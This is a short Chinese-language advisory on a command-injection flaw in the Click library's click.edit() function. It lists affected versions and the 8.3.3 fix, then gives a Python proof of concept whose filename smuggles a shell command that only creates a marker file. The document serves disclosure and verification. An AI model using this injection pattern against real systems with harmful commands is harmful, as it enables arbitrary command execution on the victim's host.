# Pallets Click 命令注入漏洞总结 ## 漏洞概述 Pallets Click 库中的 `click.edit()` 函数存在命令注入漏洞。该函数在调用系统编辑器时，未对传入的 `filename` 参数进行充分的安全处理（仅使用双引号包裹），导致攻击者可以通过构造包含双引号字符的文件名，突破引用限制，注入并执行任意操作系统命令。 ## 影响范围 - **受影响产品**：Pallets Click - **受影响版本**：8.3.3 之前的所有版本 - **修复版本**：8.3.3 - **严重程度**：High (7.3 / 10) - **漏洞类型**：CWE-78 (OS Command Injection) ## 修复方案 升级 Click 库至 **8.3.3** 或更高版本。 ## 概念验证代码 (POC) ```python #!/usr/bin/env python3 import os import subprocess import click def main(): marker_file = "click_pwned_marker" malicious_filename = f'clickpoc"; touch {marker_file}; echo "' print(f"[*] Malicious filename: {malicious_filename}") try: subprocess.run(["touch", malicious_filename], check=True) print(f"[+] File exists: {os.path.exists(malicious_filename)}") except Exception as e: print(f"[-] Failed to create file: {e}") return try: result = click.edit(filename=malicious_filename, editor='true') print(f"[*] click.edit() returned: {result}") except Exception as e: print(f"[*] Exception: {e}") finally: if os.path.exists(malicious_filename): os.remove(malicious_filename) if os.path.exists(marker_file): print(f"[+] SUCCESS: marker file '{marker_file}' was created by the injected command.") else: print(f"[-] Marker file NOT created.") if __name__ == "__main__": main() ```